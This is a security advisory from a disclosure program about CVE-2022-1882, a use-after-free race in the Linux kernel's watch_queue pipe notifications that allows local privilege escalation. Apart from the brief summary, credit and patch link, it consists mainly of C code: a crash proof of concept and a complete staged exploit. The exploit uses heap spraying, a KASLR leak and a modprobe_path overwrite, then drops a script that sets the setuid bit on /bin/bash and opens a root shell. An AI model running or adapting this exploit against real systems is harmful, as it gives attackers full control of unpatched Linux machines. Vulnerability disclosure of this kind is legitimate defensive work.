SSD Advisory – Linux CONFIG_WATCH_QUEUE LPE

TL;DR

A vulnerability in the way Linux handles the CONFIG_WATCH_QUEUE allows local attackers to reach a race condition and use this to elevate their privileges to root.

Vulnerability Summary

A use-after-free flaw was found in the Linux kernel’s pipes functionality in how a user performs manipulations with the pipe post_one_notification() after free_pipe_info() that is already called. This flaw allows a local user to crash or potentially escalate their privileges on the system.

Credit

An independent security researcher, Selim Enes Karaduman @enesdex, has reported this to the SSD Secure Disclosure program.

Affected Versions

  • Ubuntu 20.04.x Desktop – 5.13.0-44-generic

CVE

CVE-2022-1882

Vendor Response

The Linux Kernel team has released a patch to address this vulnerability: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=353f7988dd8413c47718f7ca79c030b6fb62cfe5

Vulnerability Analysis

Due to the way watch_queue works, a pointer that is used may be freed prior to it being accessed / freed again in the add_watch_to_object() and remove_watch_from_object() function. This allows a local attack to trigger a UAF which in turn can be exploited to execute arbitrary code with system (root) privileges.

Proof Of Concept

#define _GNU_SOURCE 

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <linux/keyctl.h>

#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32


uint64_t data[96/8];

void *func0(){

		cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(1, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);

		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

void *func1(){
        cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(0, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

int fpid1,fpid2;
int main(void){

	printf("[+] Main process PID: %d\n",getpid());

	uint64_t pipe_obj = 0xffff888100886000 + 0x30;
	//data[2] = 0x4141414141;
	data[3] = 0x6161616161; // wqueue->pipe
	data[5] = 0x7777777788888888;

	int fpid1 = fork();
	if (!fpid1) {
		func0();
	}
	printf("[+] Racer 1 PID: %d\n",fpid1);
	fpid2 = fork();
	if (!fpid2)
	{
		func1();
	}

	printf("[+] Racer 2 PID: %d\n",fpid2);
	usleep(500000);
	//sleep(1);
	kill(fpid1,SIGSEGV);
	kill(fpid2,SIGSEGV);
	return 0;
}

Exploit

#define _GNU_SOURCE 
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <signal.h>
#include <linux/keyctl.h>
#include <fcntl.h>

// CHANGE THESE
uint64_t off_watch_queue_pipe_buf_ops = 0;
uint64_t off_modprobe_path = 0;
//////////////

#define O_NOTIFICATION_PIPE 0x80
#define KEYCTL_WATCH_KEY 32

#define MSG_ERR "[-] Exploit was killed to prevent breaking up kernel heap layout, run the exploit again!"
#define SPRAY 1000

#define msgsnd(msqid, msgp, msgsz, msgflg) syscall(__NR_msgsnd,msqid,msgp,msgsz,msgflg)
#define msgrcv(msqid,msgp,msgsz,msgtyp,msgflg) syscall(__NR_msgrcv,msqid,msgp,msgsz,msgtyp,msgflg)



struct msg_buf{
    long mtype;
    char mtext[4096-48+1024-8];
};

struct msg_buf *data[SPRAY];
int key;
int pipefd[2];
int pipe_spray[SPRAY][2];
char desc[100];

int msqid[SPRAY];
pthread_barrier_t barrier,barrier2;
uint64_t data_key[96/8];
int fpid1,fpid2;
uint64_t pipe_obj[(1024-48)/8];

int oob_msg;
uint64_t next_msg;
uint64_t sec_next_msg;
uint64_t fake_obj_idx;
uint64_t target_obj_idx;

int stop = 0;
int byte;
char mem[10000];
uint64_t fake_obj;
uint64_t target_obj;

uint64_t watch_queue_pipe_buf_ops = 0;
uint64_t kbase = 0;
uint64_t modprobe_path = 0;
pthread_t th0, th1;

void *func3(){
		cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(1, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);

		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

void *func2(){
        cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(0, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
		int key;
		int pipefd[2];
		while(1){
			syscall(__NR_pipe2, pipefd, O_NOTIFICATION_PIPE);
			key = syscall(__NR_add_key, "user","zzz", &data_key, 96, KEY_SPEC_USER_KEYRING);
			syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipefd[0], 0);
			syscall(__NR_close,pipefd);
			syscall(__NR_close,pipefd[0]);
			syscall(__NR_close,pipefd[1]);
		}
}

void *func0(){
	int ret = 0;
	cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);

	while(1){
		syscall(__NR_pipe2, pipefd, 0x80);
		key = syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
    	syscall(__NR_keyctl, 0x20, key, pipefd[0], 0, 0);
		syscall(__NR_ioctl, pipefd[1], 0x5760, 1);
		syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
		pthread_barrier_wait(&barrier2);
		pthread_barrier_wait(&barrier);
		syscall(__NR_close,pipefd);
		syscall(__NR_close,pipefd[0]);
		syscall(__NR_close,pipefd[1]);	

	for (int i = 0; i < SPRAY; i++){
		syscall(__NR_msgsnd,msqid[i],data[i],64-48,0);
		
	}
	for (size_t i = 0; i < SPRAY; i++){
			byte = msgrcv(msqid[i],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
			if (byte > 0x10){
				
				memcpy(&next_msg,mem+40,8);

				printf("[+] oob msg id: %d\n",next_msg);
				next_msg--;
				oob_msg = i;
				stop = 1;
				pthread_exit(&ret);
			}	
		}
	

		for (size_t i = 0; i < SPRAY; i++){
			msgrcv(msqid[i],mem,16,i+1,IPC_NOWAIT | MSG_NOERROR);
		}
	}
}


void *func1(){
        cpu_set_t mask = {0};
    	CPU_ZERO(&mask);
    	CPU_SET(0, &mask);
    	sched_setaffinity(0, sizeof(cpu_set_t), &mask);
		while(1){
			pthread_barrier_wait(&barrier2);
			pthread_barrier_wait(&barrier);

			for (size_t i = 0; i < 50; i++){
				syscall(__NR_add_key, "user","aaa", "A", 128, KEY_SPEC_USER_KEYRING);
			}
			
		}

}

void init(){


	if(off_modprobe_path == 0 || off_watch_queue_pipe_buf_ops == 0){
		puts("Please set offsets of modprobe_path and watch_queue_pipe_ops as documented in the instructions!");
		exit(-1);
	}
	
	puts("[*] STAGE 1: Initialization");
	

    cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);

	for (size_t i = 0; i < SPRAY; i++)
	{
		data[i] = malloc(sizeof(struct msg_buf));
		data[i]->mtype = i + 1;
		memset(data[i]->mtext,'A',4096-48+1024-8);
	}
	
	memset(mem,0,sizeof(mem));

	pthread_barrier_init(&barrier,0,2);
	pthread_barrier_init(&barrier2,0,2);
	
	for (int i = 0; i < SPRAY; i++){
		msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); 
	}

}

void race(){
	puts("[*] STAGE 2: Racing OOB read");

		pthread_create(&th0,0,func0,0);
		pthread_create(&th1,0,func1,0);

		while(1){
			if (stop)
			{
				if (next_msg < 1000 && next_msg != 0 && !memcmp(mem+32+6,"\xff\xff",2)  && !memcmp(mem+24+6,"\xff\xff",2)){
					pthread_cancel(th1);
					break;
				}
				puts(MSG_ERR);
				exit(-1);
			}

		}


}

void objects(){
	cpu_set_t mask = {0};
    CPU_ZERO(&mask);
    CPU_SET(0, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);

	puts("[*] STAGE 3: Create fake object");

	
	msgsnd(msqid[next_msg],data[next_msg],4096-48+512-8,0);
    
	msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
	
   


	if (memcmp(mem+24+6,"\xff\xff",2) != 0)
	{
		puts(MSG_ERR);
		exit(-1);
	}

	memcpy(&fake_obj,mem+24,8);
    printf("[+] fake object: %#lx\n",fake_obj);



	

	

	puts("[*] STAGE 4: Create target object");
		for (size_t i = 0; i < SPRAY; i++)
	{
		if(i == oob_msg || i == next_msg){
			continue;
		}
		msgrcv(msqid[i],mem,10000,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
	}

	msgrcv(msqid[next_msg],mem,64-48,data[next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
	for (size_t i = 0; i < next_msg; i++)
	{
		msgsnd(msqid[i],data[i],64-48,0);
	}
	for (size_t i = next_msg + 1; i < SPRAY; i++)
	{
		msgsnd(msqid[i],data[i],64-48,0);
	}
	
    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
    
	memcpy(&sec_next_msg,mem+40,8);
	sec_next_msg--;
	printf("[+] reallocated secondary msg id: %d\n",sec_next_msg);


	msgsnd(msqid[sec_next_msg],data[sec_next_msg],1024-48,0);
	msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
	
	
	if (memcmp(mem+24+6,"\xff\xff",2) != 0)
	{
		puts(MSG_ERR);
		exit(-1);
	}
	memcpy(&target_obj,mem+24,8);
	printf("[+] target obj: %#lx\n",target_obj);
}

void kaslr(){

	puts("[*] STAGE 5: Bypass KASLR");

	for (size_t i = 0; i < SPRAY/2; i++){
		syscall(__NR_pipe2, pipe_spray[i], 0x80);
		
		sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
		key = syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
		syscall(__NR_keyctl, KEYCTL_WATCH_KEY, key, pipe_spray[i][0], 0, 0);
		
	}
	

	msgrcv(msqid[sec_next_msg],mem,64-48,data[sec_next_msg]->mtype,IPC_NOWAIT | MSG_NOERROR);
	usleep(500000);
	for (size_t i = 0; i < SPRAY/2; i++){
		syscall(__NR_ioctl, pipe_spray[i][1], 0x5760, 1);
	}
	
	for (size_t i = 0; i < SPRAY/2; i++){
		sprintf(desc,"fscrypt:e8dab99234bb312%d",i);
		syscall(__NR_add_key, "logon",desc, "B", 512, KEY_SPEC_USER_KEYRING);
	}

    msgrcv(msqid[oob_msg],mem,0x50,0,IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
	memcpy(&watch_queue_pipe_buf_ops,mem+40,8);
	
	if (memcmp(mem+40+6,"\xff\xff",2) != 0){
		puts(MSG_ERR);
		exit(-1);
	}
	
	kbase = watch_queue_pipe_buf_ops - off_watch_queue_pipe_buf_ops;
	modprobe_path = kbase + off_modprobe_path;
	
	printf("[+] watch_queue_pipe_buf_ops: %#lx\n",watch_queue_pipe_buf_ops);
	printf("[+] kbase: %#lx\n",kbase);
	printf("[+] modprobe_path: %#lx\n",modprobe_path);


	for (size_t i = 0; i < SPRAY/2; i++)
	{
		syscall(__NR_close,pipe_spray[i]);
		syscall(__NR_close,pipe_spray[i][0]);
		syscall(__NR_close,pipe_spray[i][1]);	
	}
	
}

void arb_free(){
	fake_obj_idx = next_msg;
	target_obj_idx = sec_next_msg;
	for (size_t i = 0; i < SPRAY; i++){
		if(i == fake_obj_idx || i == target_obj_idx){
			continue;
		}
		msgrcv(msqid[i],mem,64-48,i,IPC_NOWAIT | MSG_NOERROR);
		msgrcv(msqid[i],mem,10000,i,IPC_NOWAIT | MSG_NOERROR);
	}

	memset(&pipe_obj,0,sizeof(pipe_obj));

	pipe_obj[19] = fake_obj+0x8;
	pipe_obj[10] = 0x1;
	pipe_obj[11] = 0x0000000100000000;

	uint64_t tmp = target_obj-8;
	for (size_t i = 0; i < SPRAY; i++)
	{
		memcpy(data[i]->mtext,&pipe_obj,sizeof(pipe_obj));
		memset(data[i]->mtext+4048,0x45,1024);
		memcpy(data[i]->mtext+4048+64-8,&tmp,8);
	}

	msgrcv(msqid[fake_obj_idx],mem,4096-48+512-8,data[fake_obj_idx]->mtype,IPC_NOWAIT | MSG_NOERROR);
	for (size_t i = 0; i < target_obj_idx; i++)
	{
		msgsnd(msqid[i],data[i],4096-48+512-8,0);
	}
	for (size_t i = 0; i < target_obj_idx; i++)
	{
		msgsnd(msqid[i],data[i],4096-48+512-8,0);
	}


	data_key[3] = fake_obj+0x30;
	data_key[5] = 0x7777777788888888;

	fpid1 = fork();
	if (!fpid1) {
		func2();
	}
	printf("[+] Racer 1 PID: %d\n",fpid1);
	fpid2 = fork();
	if (!fpid2)
	{
		func3();
	}

	printf("[+] Racer 2 PID: %d\n",fpid2);

	usleep(500000);
	kill(fpid1,SIGSEGV);
	kill(fpid2,SIGSEGV);

	////////////////////////////
	uint64_t fake_msg[48+8];
	memset(&fake_msg,0,sizeof(fake_msg));
	fake_msg[0] = modprobe_path-8;
	memcpy(&fake_msg[1],"/tmp/xx",8);
	fake_msg[2] = 0x100;
	fake_msg[3] = 0x3d0;
	
	for (size_t i = 0; i < SPRAY; i++){
		memset(data[i]->mtext+4048,0x47,1024);
		memcpy(data[i]->mtext+4048,&fake_msg,sizeof(fake_msg));
	}

	for (size_t i = 0; i < SPRAY; i++){
		if (i == target_obj_idx)
		{
			continue;
		}
		msgrcv(msqid[i],mem,4096-48+512-8-64,data[i]->mtype,IPC_NOWAIT | MSG_NOERROR);
		msgsnd(msqid[i],data[i],4096-48+1024-8-64,0);
		
	}

	if (!fork())
	{
		msgrcv(msqid[target_obj_idx],mem,1024-8,0x100,IPC_NOWAIT | MSG_NOERROR);
	}
	
	sleep(2);
	
	
}

void get_root(){
	puts("[*] STAGE 7: Getting root!");

	char code[] = "\xff\xff\xff\xff";
    int fd1 = open("/tmp/abc",O_CREAT | O_RDWR);
	chmod("/tmp/abc",0777);
    write(fd1,code,sizeof(code) - 1);

    char code2[] = "#!/bin/sh\nchmod u+s /bin/bash\n";
    int fd2 = open("/tmp/xx",O_CREAT | O_RDWR);
	chmod("/tmp/xx",0777);
    write(fd2,code2,sizeof(code2));
	close(fd1);
	close(fd2);

	system("/tmp/abc");
	unlink("/tmp/abc");
	unlink("/tmp/xx");
	system("/bin/bash -p");
	
}


int main(void){
	init();
	race();
	objects();
	kaslr();
	arb_free();
	get_root();
}